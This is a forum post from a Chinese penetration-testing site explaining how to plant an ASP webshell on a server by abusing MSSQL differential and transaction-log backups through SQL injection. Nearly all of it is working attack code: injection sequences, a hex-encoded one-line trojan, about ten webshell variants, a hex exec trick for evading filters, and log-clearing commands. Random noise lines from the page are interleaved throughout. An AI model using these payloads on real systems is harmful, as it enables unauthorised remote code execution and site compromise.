中国网络渗透测试联盟
标题:
MSsql差异备份总结
[打印本页]
作者:
admin
时间:
2012-9-13 17:21
标题:
MSsql差异备份总结
差异备份的流程大概这样:
6 Z. M: b0 ]7 o" X. e( m* `
1.完整备份一次(保存位置当然可以改)
( G6 A) }1 G4 N- s% `
backup database 库名 to disk = 'c:\ddd.bak';--
8 f1 M) z9 a5 x; X$ r# r; J, P
|1 i, ~1 v" O3 t; H* d$ H7 n) m
2.创建表并插曲入数据
2 O/ ^) B4 M E6 v
create table [dbo].[dtest] ([cmd] [image]);
) B: R8 D6 R1 J* c
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--
9 w; g+ g3 s2 b7 H& X
+ n+ h2 C+ u" {% [/ \& V' [; o
3.进行差异备份
; \. d1 m7 @+ Y2 p
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
2 b! V |7 D' x6 [& p9 }
/ b2 g* U |! {& t; R7 C1 f# e
上面
" H) u( O4 M6 x: k8 T% `
0x3C25657865637574652872657175657374282261222929253E
4 {8 n1 N+ ^, I# k* n2 o* D f' g
就是一句话木马的内容:<%execute(request("a"))%>
' x2 K2 t) ?2 \+ ^/ d4 Z- M
, P3 a4 m+ j7 H" V7 R: @
如下是网上常见的差异备份代码,思路一样!
% @. i% c# N5 l! I% U
===================================================
8 I/ f# Z: n& M3 }, ^2 C
利用差异备份提高提高backupwebshell的成功率,减少文件大小
9 V4 _4 i/ P9 Z' U! z% q
步骤:
9 ~ N2 | U4 N* b! ]6 B; ~' y
$ ^7 S! n# P: m' T+ V& }/ T
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s --备份数据库
( Q2 D) f' \% d- `! g
1 W9 V8 V! b( V( ?, A3 Q
create table [dbo].[xiaolu] ([cmd] [image]); -- 创建一个表
: U0 t: i: c/ J+ ~) d% ~ M
; Q: a7 d% o. n: b
[' O% n ~# Y
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E) --将一句话木马的16进制字符插入到表中
3 ~3 A: ?6 a7 p8 y' V
: q g0 Z4 s* s) O
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT --对数据库实行差异备份
4 w, p2 D1 J% }: f
- r+ t* ]* M% T3 M+ b
drop table [xiaolu] -- 删除此表。
& V6 ]! H8 W1 X4 c2 s2 P
" n2 E9 ~' s3 X
0x77006F006B0061006F002E00620061006B00为wokao.bak
3 [0 Z7 m8 S6 }0 m- _
0x3C25657865637574652872657175657374282261222929253E是<%execute(request("a"))%>
3 E& l! q7 C6 I" k8 l
0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:\web\wokao.asp
4 d8 C1 ?4 i; z ~: [, F. Z4 E
" e) B9 q+ B$ B( F+ t1 g
声明:方法不是我想的,我只是写工具,默认得到shell是
8 c. w o) f+ h: k
<%execute(request("a"))%>
) {2 {* m; I* X
===============================================================
! q" A9 m! x* v9 C0 U% ~
/ @" t$ g* i2 w- p
我发现上面代码,有时会无效,而直接用
8 |( S; n9 g8 Y- R4 |8 \
- ]) t/ X7 R- K+ L/ y) ]
backup database 库名 to disk = 'c:\ddd.bak'
6 {. q- |+ m7 h- C6 i/ }0 r
5 M E7 s' s! |: T% g$ |0 D
create table [dbo].[dtest] ([cmd] [image]);
6 c3 A8 K7 h* N. v/ R; L# B
" Q- E o+ i. {
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
6 I' Q. G' ]1 }; y9 ]( ]+ N5 o0 K, H J
( w' a$ y% ^3 z& I+ j
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
- b$ z# {) i- Z$ `# N# _- g# \" l
8 u% F& n# i9 v+ e" \ e3 S
却可以成功,所以把最原始的方法写出来!思路是前人所创,这不说大家也知道的!
' R4 i1 @0 F; K; n! U
- c/ G: F. H- r& [ w9 X& B
库名 必须要有效的库名,一般注入工具都可以得到!如果某站过滤 "‘",就要把字符内容转为数值了!
9 m3 Q) N, L; h4 g" D8 Q- j
) ?" p7 B4 g" h3 @+ e
网上还有log增量备份的,我也把他记录一下
+ u) V8 S: O& R
=====================================================
7 |) `# f/ q2 r% C4 T u9 `. J
另一种log增量备份技术:
# S) o: E. @3 D' x* n( R
0 P0 \# o* { B# r) n7 V
';alter database null set RECOVERY FULL--
/ c- F* N8 r6 X% x; S
4 ]6 n. { L$ x' L: ?
';create table cmd (a image)--
8 ^4 {7 N7 u, N4 o2 V( f# s
) {9 F/ a! A4 x" T. ]1 f8 X
';backup log null to disk = 'f:\cmd' with init--
* U% k$ c2 S u$ D* |2 L1 _) P
$ q! l+ j6 G& I7 H I+ P9 k
';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--
. p5 a6 \; y: `$ B2 ?
/ e- K! E/ Q/ S" ~0 d
';backup log null to disk = '备份路径'--
* K) E( y: W0 G. A' m) e
- W" L2 b7 C4 j1 x4 \ u, b8 f
';drop table cmd--
1 b2 T" C) B* {# a
$ Q5 m! Y/ C* r- F
';alter database XXX set RECOVERY SIMPLE--
/ p$ z+ i2 B6 `3 q
8 ?4 _3 i8 T6 q% i# N
PS:0x3C2565786563757465287265717565737428226122292
4 |( U3 G6 D' M# F! l- u
9253EDA 是一句话小马16进制转来的
' Z3 E0 q R( n
2 \7 N2 m" p1 F, c/ G& w
说到一句话马,还可以有这么几种写法:
8 Z+ S+ h1 n; L6 T
" J0 y8 O1 u# X3 {: D
a)<%%25Execute(request("a"))%%25>
( T1 A" @" t' t' ?
b)<%Execute(request("a"))%>
3 N: c7 l9 K4 v8 L/ Z
c)%><%execute request("a")%><%
1 r; j# p! s: ^# t5 H- F& R
d)<script language=VBScript runat=server>execute request("a")</script>
. r' E+ O$ \- K; [
e)<%25Execute(request("a"))%25>
# u* W. e! ]/ P: }2 t s
f)<%eval(request("a")):response.end%> 备分专用一句话 (也就是插入一句话后所有的代码都无效,在一句话这里打止)
4 f5 k; ]4 I1 j1 n ] F
g)"%><%eval (request (chr(309)))%><%'" 网站配置版权信息插马专用一句话
3 N+ p; ]0 c3 w. N. j
h)<%On Error Resume Next:response.clear:execute request("value"):response.End%>
9 c/ V/ K2 P3 ?6 P
I)<%eval request(0)%>
4 O% W2 p W) L0 o( ]" h' ?/ u
J)"%><%Eval Request(0)%> 网站配置版权信息插马专用一句话
5 e e+ l- w+ M ?7 j
# N" }0 Y# i. p' J
=============================================
$ i) E ~( L8 L/ [1 X2 U6 V- o2 I
" q. r$ ] b0 f/ G& Q$ m
当遇到差备过滤了/时用这个语句代替
" N0 K# L9 B* L2 t" l
: b% F7 g; e6 N. m
declare @a varchar(1024);set @a=cast(0x65786563206D6D as varchar(1024));exec (@a);--
/ v3 V- B$ v2 @1 e. Q
8 `! s/ v1 ?0 E2 _7 c! r
把要执行的语句转16进制然后用exec执行
1 D" C- `$ Y. ?5 @. i
8 N/ W& Z) K: ~* t Q! l
2 N* Q( ^+ _+ A' I; K
减少备份文件大小方法如下:
2 z) i! X2 m) o7 X4 E" `
$ k s' O T5 b6 k8 V/ v
总的来说就是那么简单几句,下面以备份数据库model为例子
3 B/ {- o/ q6 a0 Q1 C' l6 p V
1
L* O* G% p2 h
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
8 g0 e% `2 G' _* @8 A
2
0 g0 p1 ]. H' k
id=1;backup database model to disk='你的路径‘ with differential,format;--
( H* [4 y% w6 E3 x) d% G$ ]
1 [4 _' q4 H& ]; c' g
2 m: r9 w% f+ F+ Q4 I/ m
1 p/ P- F( Z) y9 f; \9 ~% G; {
SQL语句清理日志
/ k0 G' z5 g) [1 P9 E. y& l; N% E
注:test为数据库名
0 a6 s7 m0 Y7 i8 Q
0 l9 n8 S7 q8 k& E
--清空日志
[& m) L9 w, N% a$ {# r/ l
DUMP TRANSACTION test WITH NO_LOG
! z' p* q* p- Z, a
3 E. V# j7 J! V( I
--截断事务日志
* \$ r( z9 h4 O0 u( p4 z
BACKUP LOG test WITH NO_LOG
& ^1 \( S! M& |
4 p& a, Q* a* [ E) o/ o( G! x
--收缩数据库
/ e* b8 ~8 ?3 ^. W
DBCC SHRINKDATABASE(test)
1 |3 q, O& B1 `. C3 F
W2 q1 a5 D3 e$ L, y% t! E
--收缩指定数据文件,1是文件号,可以通过这个语句查询到
' f8 f" ~/ e% K7 h6 @& l
Select * from sysfiles DBCC SHRINKFILE(1)
3 R$ j* \1 Z; x5 B$ n5 D/ x
; m+ ?1 A8 k4 J6 }! U( ^0 e* y4 C
--以后能自动收缩
& r6 ^7 P, ]% Y1 T) T
EXEC sp_dboption 'test', 'autoshrink', 'TRUE'
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2